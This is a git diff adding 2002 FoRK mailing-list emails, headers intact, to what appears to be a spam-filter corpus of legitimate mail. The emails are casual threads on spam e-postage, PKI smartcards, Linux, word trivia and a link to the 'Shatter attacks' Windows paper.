ESMTP id g78CPU203511 for + ; Thu, 8 Aug 2002 13:25:30 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id FAA27624 for ; Thu, 8 Aug 2002 05:26:15 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id E30912940A0; Wed, 7 Aug 2002 21:11:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sccrmhc02.attbi.com (sccrmhc02.attbi.com [204.127.202.62]) + by xent.com (Postfix) with ESMTP id 8DB6129409C for ; + Wed, 7 Aug 2002 21:10:36 -0700 (PDT) +Received: from Intellistation ([66.31.2.27]) by sccrmhc02.attbi.com + (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id + <20020808041045.IQVQ221.sccrmhc02.attbi.com@Intellistation>; + Thu, 8 Aug 2002 04:10:45 +0000 +Content-Type: text/plain; charset="iso-8859-1" +From: Eirikur Hallgrimsson +Organization: Electric Brain +To: "John Evdemon" , fork@spamassassin.taint.org +Subject: Re: Quitting Music +User-Agent: KMail/1.4.1 +References: <3D516D56.17345.1A207CB@localhost> +In-Reply-To: <3D516D56.17345.1A207CB@localhost> +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: <200208080010.42096.eh@mad.scientist.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 8 Aug 2002 00:10:42 -0400 + +Don't get your hopes up. This a career move. Next stop Hollywood. +Remember Madonna, The Actress? + +Eirikur + + + + +On Wednesday 07 August 2002 06:56 pm, John Evdemon wrote: +> Keep your fingers crossed... +> Exhausted Britney 'wants to quit music' + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00978.6ee6ee70e9126bba327faa762d37b3f9 b/bayes/spamham/easy_ham_2/00978.6ee6ee70e9126bba327faa762d37b3f9 new file mode 100644 index 0000000..1e994d5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00978.6ee6ee70e9126bba327faa762d37b3f9 @@ -0,0 +1,70 @@ +From fork-admin@xent.com Thu Aug 8 14:13:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6404E44143 + for ; Thu, 8 Aug 2002 08:33:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:33:29 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CRx203867 for + ; Thu, 8 Aug 2002 13:27:59 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id CAA26898 for ; Thu, 8 Aug 2002 02:52:51 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id EF7C12940A8; Wed, 7 Aug 2002 18:50:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.lig.net (unknown [204.248.145.126]) by xent.com + (Postfix) with ESMTP id E38472940A7 for ; Wed, + 7 Aug 2002 18:49:41 -0700 (PDT) +Received: from lig.net (unknown [66.95.227.18]) by mail.lig.net (Postfix) + with ESMTP id DC07968067; Wed, 7 Aug 2002 21:08:22 -0400 (EDT) +Message-Id: <3D51CFBC.5080705@lig.net> +From: "Stephen D. Williams" +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc2) + Gecko/20020512 Netscape/7.0b1 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: PKI smartcard/CA/profile/email/software interoperability, (real) standards, patents +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 07 Aug 2002 21:56:12 -0400 + +Has anyone had much positive experience with PKI based smartcards, email +(S/Mime interoperability), programming to smart cards, etc.? + +One area in particular that seems surprising is that a number of +projects are using cards like the Datakey 330 which seems to store data +in a way that is proprietary to particular card/reader driver versions. + +I've been told, on the other hand, that Java PKI smart cards are very +interchangable and upward compatible. The only reasons I've been able +to find so far for using the more 'proprietary' cards is that they may +be cheaper and further along in FIPS validation. + +sdw + +-- +sdw@lig.net http://sdw.st +Stephen D. Williams 43392 Wayside Cir,Ashburn,VA 20147-4622 +703-724-0118W 703-995-0407Fax Dec2001 + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00979.f011c987a0f29dfc781d28a37c24e0ba b/bayes/spamham/easy_ham_2/00979.f011c987a0f29dfc781d28a37c24e0ba new file mode 100644 index 0000000..eddd3a5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00979.f011c987a0f29dfc781d28a37c24e0ba @@ -0,0 +1,125 @@ +From fork-admin@xent.com Fri Aug 9 15:21:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C4111440D9 + for ; Fri, 9 Aug 2002 10:21:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:21:09 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79EHMb05867 for ; + Fri, 9 Aug 2002 15:17:25 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C8F5B2940EE; Fri, 9 Aug 2002 07:08:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (f107.law15.hotmail.com [64.4.23.107]) by + xent.com (Postfix) with ESMTP id 4082529409E for ; + Fri, 9 Aug 2002 07:07:36 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Fri, 9 Aug 2002 07:08:23 -0700 +Received: from 216.30.74.2 by lw15fd.law15.hotmail.msn.com with HTTP; + Fri, 09 Aug 2002 14:08:22 GMT +X-Originating-Ip: [216.30.74.2] +From: "Russell Turpin" +To: fork@spamassassin.taint.org +Subject: Re: David Friedman: Mail Me the Money! +MIME-Version: 1.0 +Content-Type: text/plain; format=flowed +Message-Id: +X-Originalarrivaltime: 09 Aug 2002 14:08:23.0187 (UTC) FILETIME=[38EF6E30:01C23FAE] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 09 Aug 2002 14:08:22 +0000 + +http://www.techcentralstation.com/1051/printer.jsp?CID=1051-080802A + +>Mail Me the Money! +>By David Friedman 08/08/2002 + +David is a very bright fellow. But this time he's +several years behind. The idea of using epostage +to stop spam has been discussed quite a bit. The +problem is how to get over the adoption hump. +Until most people are taking one form of epostage, +most people don't have enough incentive to download +and install something that allows them to pay it. +Until most people are set up to pay it, any form of +epostage I require closes my mailbox to unknown +senders from whom I want to receive mail. And even +from known senders. Giving someone my email address +doesn't automatically put them in my white list. + +Hashcash tries to lower the adoption barrier by +removing the need to pay money for epostage. +Instead, the sender burns processing time on his +computer, answering a cryptographically hard +challenge. But even this requires set-up. There is +inadequate incentive to do so until there is a +standard mechanism, but no standard mechanism is +born until a significant fraction of the market +has taken that first step. It may take government +action, to institute an effective epostage +standard! + +I think the better idea is to require that people +off your white list "hand sign" email to you. A +couple of companies are now trying to implement +this. An email sender, if not on your white list, +must respond to a verification email or go to a +website, by a process that is very simply for a +human sender, but difficult for a spammer to +automate. Where epostage requires a standard +mechanism, a variety of mechanisms for "hand +signing" would frustrate spammers while making it +no more difficult for legitimate senders. I'm +hoping Eudora and some of the other big mail +clients incorporate this kind of feature. The +advantage to putting this in the mail client is +that the required "hand sign" can be personalized: + + "Your attempt to email David Friedman is + blocked until you fill in the blank: The + Incredible ______ Machine." + +It will be a long time before spammers have a +process that defeats millions of personal +challenges. On the other hand, I have a hack in +mind that would work a large percentage of the +time. But I'm not telling. If spammers did figure +out such hacks, people would then improve their +challenges. Yeah, this would lead to another +arms race, and spam would leak through to the +unwitting. But this arms race is one that helps +spammers identify and target the part of the +population whose challenges are sub-par, which +is their natural prey. People like David aren't +in the market for herbal Viagra or back alley +debt consolidation. + +Since David is an anarchist, I'm surprised he +didn't point out that spam is the result of +government. The government is ineffective at +preventing spam, but it DOES prevent individuals +and ISPs from taking retribution against spammers. + + + + +_________________________________________________________________ +MSN Photos is the easiest way to share and print your photos: +http://photos.msn.com/support/worldwide.aspx + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00980.25d1a7353cfdeacadb24beac726cb9aa b/bayes/spamham/easy_ham_2/00980.25d1a7353cfdeacadb24beac726cb9aa new file mode 100644 index 0000000..b2b49a3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00980.25d1a7353cfdeacadb24beac726cb9aa @@ -0,0 +1,63 @@ +From fork-admin@xent.com Fri Aug 9 18:04:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 06C8F440D9 + for ; Fri, 9 Aug 2002 13:04:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 18:04:25 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79H3xb16515 for ; + Fri, 9 Aug 2002 18:04:01 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 7E9DF2940F1; Fri, 9 Aug 2002 10:00:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from dream.darwin.nasa.gov (betlik.darwin.nasa.gov + [198.123.160.11]) by xent.com (Postfix) with ESMTP id 38EBB2940CE for + ; Fri, 9 Aug 2002 09:59:33 -0700 (PDT) +Received: from cse.ucsc.edu (paperweight.darwin.nasa.gov [198.123.160.27]) + by dream.darwin.nasa.gov ( -- Info omitted by ASANI Solutions, + LLC.) with ESMTP id g79H08g17865 for ; Fri, 9 Aug 2002 + 10:00:10 -0700 (PDT) +Message-Id: <3D53F518.7000201@cse.ucsc.edu> +From: Elias Sinderson +Reply-To: fork@spamassassin.taint.org +User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.4.1) + Gecko/20020518 Netscape6/6.2.3 +X-Accept-Language: en-us +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: Re: Perhaps Apple isn't as user-friendly as we thought... +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 09 Aug 2002 10:00:08 -0700 + +Not that I particuarly enjoy these religious wars, but... + +Adam L. Beberg wrote: + +>My PC at least crashes a few times a day... +> + +Linux, dude, linux... + + +Elias + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00981.dd77f2de86eee8dec6c3c8a87d78f492 b/bayes/spamham/easy_ham_2/00981.dd77f2de86eee8dec6c3c8a87d78f492 new file mode 100644 index 0000000..52683ee --- /dev/null +++ b/bayes/spamham/easy_ham_2/00981.dd77f2de86eee8dec6c3c8a87d78f492 @@ -0,0 +1,74 @@ +From fork-admin@xent.com Fri Aug 9 18:10:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 45ECE43FB1 + for ; Fri, 9 Aug 2002 13:10:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 18:10:44 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79H92b16739 for ; + Fri, 9 Aug 2002 18:09:05 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9DCC72940FC; Fri, 9 Aug 2002 10:01:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from jamesr.best.vwh.net (jamesr.best.vwh.net [192.220.76.165]) + by xent.com (Postfix) with SMTP id 555522940FB for ; + Fri, 9 Aug 2002 10:00:15 -0700 (PDT) +Received: (qmail 95286 invoked by uid 19621); 9 Aug 2002 17:00:38 -0000 +Received: from unknown (HELO avalon) ([64.125.200.18]) (envelope-sender + ) by 192.220.76.165 (qmail-ldap-1.03) with SMTP for + ; 9 Aug 2002 17:00:38 -0000 +Subject: Re: Re[2]: Bukkake +From: James Rogers +To: fork@spamassassin.taint.org +In-Reply-To: <512923263.20020809112023@magnesium.net> +References: + <512923263.20020809112023@magnesium.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Evolution/1.0.2-5mdk +Message-Id: <1028913223.7814.12.camel@avalon> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 09 Aug 2002 10:13:43 -0700 + +On Fri, 2002-08-09 at 08:20, bitbitch@magnesium.net wrote: +> Smegma, happens to be a personal favorite. Years ago, to my five +> year old brain, my dad used to inform me that I had 'smegma' in my +> eye, and would proceed to extricate it. + + +I don't think there is a specific word in English for eye goop. +However, when I was halfway literate in Tagalog, I learned that there is +a specific word in that language (or was it another dialect?) for it: +muta, pronounced "MOO-ta". Even though my Tagalog has faded greatly, I +automatically use that word for "eye goop" when speaking English (how +often does that happen?), mostly because it apparently filled a +linguistic hole in my brain and therefore permanently wedged itself into +my vocabulary. + +Not that this is important, but I've inadvertently adopted "muta" into +my version of the English language as the word for "eye goop". Arguably +better than "smegma" anyway. + +(Definitely Friday...) + +-James Rogers + jamesr@best.com + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00982.2334d78ca615a3222c1425e7b1db67a0 b/bayes/spamham/easy_ham_2/00982.2334d78ca615a3222c1425e7b1db67a0 new file mode 100644 index 0000000..12df171 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00982.2334d78ca615a3222c1425e7b1db67a0 @@ -0,0 +1,78 @@ +From fork-admin@xent.com Fri Aug 9 18:16:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 02E1B4406D + for ; Fri, 9 Aug 2002 13:16:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 18:16:26 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79HGab17077 for ; + Fri, 9 Aug 2002 18:16:39 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 36F3A294104; Fri, 9 Aug 2002 10:09:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 08CE02940F1 for ; + Fri, 9 Aug 2002 10:08:35 -0700 (PDT) +Received: from maya.dyndns.org (ts5-038.ptrb.interhop.net + [165.154.190.102]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g79Gho323952 for ; Fri, 9 Aug 2002 12:43:50 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 3B1671C3B6; + Fri, 9 Aug 2002 13:09:03 -0400 (EDT) +To: fork +Subject: Shatter Attacks - How to break Windows +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 09 Aug 2002 13:08:48 -0400 + + +I'm sure this is common knowledge already, but just in case ... + +http://security.tombom.co.uk/shatter.html + + This paper presents a new generation of attacks against Microsoft + Windows, and possibly other message-based windowing systems. The + flaws presented in this paper are, at the time of writing, + unfixable. The only reliable solution to these attacks requires + functionality that is not present in Windows, as well as efforts on + the part of every single Windows software vendor. Microsoft has + known about these flaws for some time; when I alerted them to this + attack, their response was that they do not class it as a flaw - + the email can be found here. This research was sparked by comments + made by Microsoft VP Jim Allchin who stated, under oath, that there + were flaws in Windows so great that they would threaten national + security if the Windows source code were to be disclosed. He + mentioned Message Queueing, and immediately regretted it. However, + given the quantity of research currently taking place around the + world after Mr Allchin's comments, it is about time the white hat + community saw what is actually possible. + + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00983.72a910d32dbfe936547f37cdb919c422 b/bayes/spamham/easy_ham_2/00983.72a910d32dbfe936547f37cdb919c422 new file mode 100644 index 0000000..6c378a6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00983.72a910d32dbfe936547f37cdb919c422 @@ -0,0 +1,73 @@ +From fork-admin@xent.com Fri Aug 9 18:21:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 545084406D + for ; Fri, 9 Aug 2002 13:21:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 18:21:46 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79HMFb17173 for ; + Fri, 9 Aug 2002 18:22:17 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 39726294109; Fri, 9 Aug 2002 10:10:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from dream.darwin.nasa.gov (betlik.darwin.nasa.gov + [198.123.160.11]) by xent.com (Postfix) with ESMTP id DA079294108 for + ; Fri, 9 Aug 2002 10:09:34 -0700 (PDT) +Received: from cse.ucsc.edu (paperweight.darwin.nasa.gov [198.123.160.27]) + by dream.darwin.nasa.gov ( -- Info omitted by ASANI Solutions, + LLC.) with ESMTP id g79HAHg17913 for ; Fri, 9 Aug 2002 + 10:10:17 -0700 (PDT) +Message-Id: <3D53F778.3020102@cse.ucsc.edu> +From: Elias Sinderson +Reply-To: fork@spamassassin.taint.org +User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.4.1) + Gecko/20020518 Netscape6/6.2.3 +X-Accept-Language: en-us +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: Re: David Friedman: Mail Me the Money! +References: + +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 09 Aug 2002 10:10:16 -0700 + +Gary Lawrence Murphy wrote + +>>>>>>"R" == Russell Turpin writes: +>>>>>> +> +> R> ... spam is the result of government. The government is +> R> ineffective at preventing spam, but it DOES prevent individuals +> R> and ISPs from taking retribution against spammers. +> +>I don't understand this assertion. Can you explain? +>... +>So where does government come in to foster this? +> +The government prevents me from hunting them down and flossing with +their sinew after I'm done with them. Sometimes I wish for a return to +the common sense laws of the old west... "You used my inbox without my +permission varmit, and now yer gonna pay!" + + +Elias + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00984.afcb3441b0cd8284b107d062e975c226 b/bayes/spamham/easy_ham_2/00984.afcb3441b0cd8284b107d062e975c226 new file mode 100644 index 0000000..0e45340 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00984.afcb3441b0cd8284b107d062e975c226 @@ -0,0 +1,62 @@ +From fork-admin@xent.com Fri Aug 9 18:27:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4480043FB1 + for ; Fri, 9 Aug 2002 13:27:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 18:27:22 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79HRPb17417 for ; + Fri, 9 Aug 2002 18:27:27 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 31E4329410F; Fri, 9 Aug 2002 10:17:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from dream.darwin.nasa.gov (betlik.darwin.nasa.gov + [198.123.160.11]) by xent.com (Postfix) with ESMTP id 4A7ED2940FC for + ; Fri, 9 Aug 2002 10:16:52 -0700 (PDT) +Received: from cse.ucsc.edu (paperweight.darwin.nasa.gov [198.123.160.27]) + by dream.darwin.nasa.gov ( -- Info omitted by ASANI Solutions, + LLC.) with ESMTP id g79HHfg17946 for ; Fri, 9 Aug 2002 + 10:17:41 -0700 (PDT) +Message-Id: <3D53F935.2020704@cse.ucsc.edu> +From: Elias Sinderson +Reply-To: fork@spamassassin.taint.org +User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.4.1) + Gecko/20020518 Netscape6/6.2.3 +X-Accept-Language: en-us +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: Re: Bukkake +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 09 Aug 2002 10:17:41 -0700 + +Tom wrote: + +>... its a word that deserves a place in the daily vernacular, +>much like squick, schmegma, and dork. +> +Don't forget slithy, mimsy, gimble, and frumious, bequeathed to us by +Lewis Carol... + + +Elias + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00985.cc59bafbceabcab1e3030191a5283a18 b/bayes/spamham/easy_ham_2/00985.cc59bafbceabcab1e3030191a5283a18 new file mode 100644 index 0000000..c895231 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00985.cc59bafbceabcab1e3030191a5283a18 @@ -0,0 +1,91 @@ +From fork-admin@xent.com Fri Aug 9 18:32:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 937A4440CF + for ; Fri, 9 Aug 2002 13:32:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 18:32:43 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79HWvb17776 for ; + Fri, 9 Aug 2002 18:32:59 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A313E294132; Fri, 9 Aug 2002 10:29:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from 10-0-0-223.boston.ximian.com (gateway.ximian.com + [141.154.95.125]) by xent.com (Postfix) with ESMTP id BA76529410F for + ; Fri, 9 Aug 2002 10:28:24 -0700 (PDT) +Received: (from louie@localhost) by 10-0-0-223.boston.ximian.com + (8.11.6/8.11.6) id g79HRpd17229; Fri, 9 Aug 2002 13:27:51 -0400 +X-Authentication-Warning: 10-0-0-223.boston.ximian.com: louie set sender + to louie@ximian.com using -f +Subject: Re: Shatter Attacks - How to break Windows +From: Luis Villa +To: fork +In-Reply-To: +References: +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1028914070.16891.40.camel@10-0-0-223.boston.ximian.com> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 09 Aug 2002 13:27:50 -0400 + +Be sure to read the followups on +http://online.securityfocus.com/archive/1/286228/2002-08-03/2002-08-09/1 +where basically the consensus is that the article author is that this is +(1) an application problem, not a Windows problem and (2) a problem only +a certain class of poorly written applications. So, yeah, it's a new +attack, but it's not nearly as devastating an MS critique as the author +wants us to believe it is. + +Luis + +On Fri, 2002-08-09 at 13:08, Gary Lawrence Murphy wrote: +> +> I'm sure this is common knowledge already, but just in case ... +> +> http://security.tombom.co.uk/shatter.html +> +> This paper presents a new generation of attacks against Microsoft +> Windows, and possibly other message-based windowing systems. The +> flaws presented in this paper are, at the time of writing, +> unfixable. The only reliable solution to these attacks requires +> functionality that is not present in Windows, as well as efforts on +> the part of every single Windows software vendor. Microsoft has +> known about these flaws for some time; when I alerted them to this +> attack, their response was that they do not class it as a flaw - +> the email can be found here. This research was sparked by comments +> made by Microsoft VP Jim Allchin who stated, under oath, that there +> were flaws in Windows so great that they would threaten national +> security if the Windows source code were to be disclosed. He +> mentioned Message Queueing, and immediately regretted it. However, +> given the quantity of research currently taking place around the +> world after Mr Allchin's comments, it is about time the white hat +> community saw what is actually possible. +> +> +> -- +> Gary Lawrence Murphy TeleDynamics Communications Inc +> Business Innovations Through Open Source Systems: http://www.teledyn.com +> "Computers are useless. They can only give you answers."(Pablo Picasso) +> +> http://xent.com/mailman/listinfo/fork +> + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00986.d8a17461c2ef50de82dfe328278db046 b/bayes/spamham/easy_ham_2/00986.d8a17461c2ef50de82dfe328278db046 new file mode 100644 index 0000000..539d7dc --- /dev/null +++ b/bayes/spamham/easy_ham_2/00986.d8a17461c2ef50de82dfe328278db046 @@ -0,0 +1,59 @@ +From fork-admin@xent.com Fri Aug 9 19:00:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 73B594406D + for ; Fri, 9 Aug 2002 14:00:03 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 19:00:03 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79Hw1b18776 for ; + Fri, 9 Aug 2002 18:58:04 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5DB6E294132; Fri, 9 Aug 2002 10:54:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 39B7C294104 for ; Fri, + 9 Aug 2002 10:53:14 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 40F3B3EDA8; + Fri, 9 Aug 2002 13:54:59 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 3F74B3ED50; Fri, 9 Aug 2002 13:54:59 -0400 (EDT) +From: Tom +To: James Rogers +Cc: fork@spamassassin.taint.org +Subject: Re: Re[2]: Bukkake +In-Reply-To: <1028913223.7814.12.camel@avalon> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: 